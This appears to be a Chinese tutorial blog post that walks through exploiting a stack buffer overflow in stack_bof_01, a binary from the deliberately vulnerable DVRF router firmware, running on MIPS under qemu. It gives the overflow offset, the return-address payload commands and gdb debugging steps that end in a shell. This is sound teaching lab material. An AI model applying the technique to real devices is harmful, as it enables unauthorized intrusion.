IOT渗透实验入门--动态分析IOT固件( 1 初探MIPS架构 )

DVRF固件

这是网友自制的一个充满漏洞的固件,以供学习使用

下载

git clone https://github.com/praetorian-code/DVRF.git

安装gdb

sudo apt install gdb-multiarch

安装gef

wget https://github.com/hugsy/gef/raw/master/gef.py
echo source "gef.py的具体路径"/gef.py >> ~/.gdbinit

安装gef分析使用到的python第三方库

 sudo pip3 install capstone unicorn keystone-engine

对固件进行分析

cd DVRF/Firmware
binwalk -e -t DVRF_v03.bin 
固件提取信息
cd _DVRF_v03.bin.extracted/squashfs-root

分析得到的文件夹中有个 pwnable 文件夹,里面存放了相关的漏洞程序,我们选取缓冲区漏洞程序stack_bof_01进行实验。首先使用readelf命令查看该程序的架构。

readelf -h pwnable/Intro/stack_bof_01
漏洞程序的相关信息

可以看到该程序的架构为MIPS,小端存储模式(后续看内存信息的时候要注意)

安装qemu-mipsel-static

sudo apt-get install qemu-user-stati

拷贝qemu-mipsel-static到当前目录,然后配合chroot虚拟执行stack_bof_01固件

分析漏洞程序

漏洞程序代码

strcpy() 代码分析

可以看到在main函数中,调用了strcpy函数,将用户输入复制到buf中,我们看看strcpy函数的汇编代码


strcpy汇编代码

由于该固件架构是MIPS架构,汇编指令集和X86架构的有所不同,a0寄存器存储了buf的起始地址,a1寄存器存储了用户输入的起始地址。该代码的功能:每次从用户输入从取一个字符,查看是否是 /0 (字符串结尾标志符),然后将其存到buf中,因此并没有进行边界检查,造成栈溢出的可能。值得注意的是,MIPS架构使用了流水线技术进行加速,在执行bnez指令时,同时在执行sb指令,只是执行的阶段不同。X86架构中若bnez指令进行跳转时,则sb指令执行会被无效掉,但在MIPS架构中,sb指令执行后,并不会被无效掉。该代码利用该特性,循环得进行复制。

栈溢出分析过程

根据上述分析,我们可以增加输入长度,当长度超过200时,则发生栈溢出,将main函数在栈中的一些信息覆盖掉。因此只要我们覆盖掉main函数的返回地址时,则可以劫持程序流,获得控制权。

main函数堆栈布局

MIPS 架构上函数调用过程中的堆栈和栈帧
推荐看看上面这篇链接,了解一下MIPS架构的堆栈布局是怎么样的

由于main函数中调用了strcpy函数,因此main函数并非叶子函数,即最后返回时,要从堆栈中弹出return address到 ra 寄存器,再使用跳转指令进行跳转

堆栈布局
main函数布局堆栈的汇编代码

可以看到,在这段代码中,首先给堆栈扩充了232个字节,即此时sp=base - 232(base为原sp地址),然后将ra存在了base - 4的位置,将s8存在base - 8的位置,将gp存在base - 216的位置,将a0存在base的位置,a1存在base+4的位置,而base - 208 到 base - 8 这200个字节则存着buf,因此我们只需要溢出buf 8个字节,即可将ra修改为我们所需要的目标地址

由于在本次实验中,已经提供了shellcode,因此我们只需要找到shellcode的起始地址即可,查看dat_shell函数的地址


dat_shell汇编代码

可以看到其启示地址为0x00400950,因此我们的buf为 ‘A’ * 204 + '\x50\x09\x40\x00',记住存储模式是小端。

执行漏洞程序

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x50\x09\x40')")"

执行后如下


执行后结果

发生了段错误,并没有执行到shellcode,让我们继续调试看看是什么情况

调试漏洞程序

sudo chroot . ./qemu-mipsel-static -g 1243 ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x50\x09\x40')")"

另开一个命令行执行

gdb-multiarch pwnable/Intro/stack_bof_01

进入gdb后,将架构转为MIPS架构

set architecture mips

开始调试漏洞程序

target remote 127.0.0.1:1243

在main函数处打个断点并执行到该断点处

b main
c
运行状态.png

查看main函数的汇编代码

disassem main

可以看到在main函数汇编代码的最后有个jr ra指令


main函数汇编代码.png

我们在该处下一个断点,看看ra寄存器中是否是我们的shellcode的起始地址,并执行到该处

b* 0x00400948
c
image.png

可以看到ra中确实是我们的shellcode的地址


image.png

最后执行该指令应该会跳到dat_shell上。查找了资料,好像说是会有3条gp指令影响,最终的shellcode地址为0x0040095c,执行一下看看

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x5c\x09\x40\x00')")"
结果图

成功获得shell!

你可能感兴趣的:(IOT渗透实验入门--动态分析IOT固件( 1 初探MIPS架构 ))